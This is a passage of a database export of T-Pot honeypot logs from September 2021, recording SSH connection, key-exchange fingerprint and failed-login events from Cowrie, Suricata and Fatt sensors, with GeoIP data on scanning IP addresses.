"SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57050, "timestamp": "2021-09-20T11:06:23.812182", "@timestamp": "2021-09-20T11:06:23.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21937	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:23.409256+03	2021-09-20 14:15:04.286629+03	{"_id": "3wXiAnwBvYTbRNuEtP1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5e36015ef099", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:23.409256Z", "@timestamp": "2021-09-20T11:06:23.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21938	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:23.690176+03	2021-09-20 14:15:04.287613+03	{"_id": "4AXiAnwBvYTbRNuEtP1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5e36015ef099", "@version": "1", "timestamp": "2021-09-20T11:06:23.690176Z", "@timestamp": "2021-09-20T11:06:23.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21939	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:23.848923+03	2021-09-20 14:15:04.288613+03	{"_id": "4QXiAnwBvYTbRNuEtP1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:23.848923Z", "@timestamp": "2021-09-20T11:06:23.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21940	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:24.466557+03	2021-09-20 14:15:04.289613+03	{"_id": "-QXiAnwBvYTbRNuEt_1c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1411639436893532, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49944, "dest_port": 22, "timestamp": "2021-09-20T11:06:24.466557Z", "@timestamp": "2021-09-20T11:06:24.466Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21941	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:24.191496+03	2021-09-20 14:15:04.290613+03	{"_id": "_QXiAnwBvYTbRNuEuP1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49944, "timestamp": "2021-09-20T11:06:24.191496", "@timestamp": "2021-09-20T11:06:24.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21942	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:24.824726+03	2021-09-20 14:15:04.292613+03	{"_id": "CAXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:42486 (192.168.176.2:22) [session: e64b79dd4683]", "session": "e64b79dd4683", "@version": "1", "protocol": "ssh", "src_port": 42486, "dest_port": 22, "timestamp": "2021-09-20T11:06:24.824726Z", "@timestamp": "2021-09-20T11:06:24.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21944	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:23.936177+03	2021-09-20 14:15:04.294612+03	{"_id": "CgXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40276, "timestamp": "2021-09-20T11:06:23.936177", "@timestamp": "2021-09-20T11:06:23.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21945	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:24.826288+03	2021-09-20 14:15:04.295612+03	{"_id": "_wXiAnwBvYTbRNuEuP1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42486, "timestamp": "2021-09-20T11:06:24.826288", "@timestamp": "2021-09-20T11:06:24.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21946	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:24.632116+03	2021-09-20 14:15:04.296614+03	{"_id": "DAXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51890, "dest_port": 22, "timestamp": "2021-09-20T11:06:24.632116", "@timestamp": "2021-09-20T11:06:24.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21947	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:24.303893+03	2021-09-20 14:15:04.298613+03	{"_id": "DQXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [backup/backup123] failed", "session": "9394aeab2409", "@version": "1", "password": "backup123", "username": "backup", "timestamp": "2021-09-20T11:06:24.303893Z", "@timestamp": "2021-09-20T11:06:24.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21948	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:24.423403+03	2021-09-20 14:15:04.299612+03	{"_id": "DgXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "223.241.247.214", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5745627880096436, "duplicate": true, "timestamp": "2021-09-20T11:06:24.423403Z", "@timestamp": "2021-09-20T11:06:24.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21949	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:24.504898+03	2021-09-20 14:15:04.301612+03	{"_id": "AwXiAnwBvYTbRNuEuP5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3449431e51cd", "@version": "1", "timestamp": "2021-09-20T11:06:24.504898Z", "@timestamp": "2021-09-20T11:06:24.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 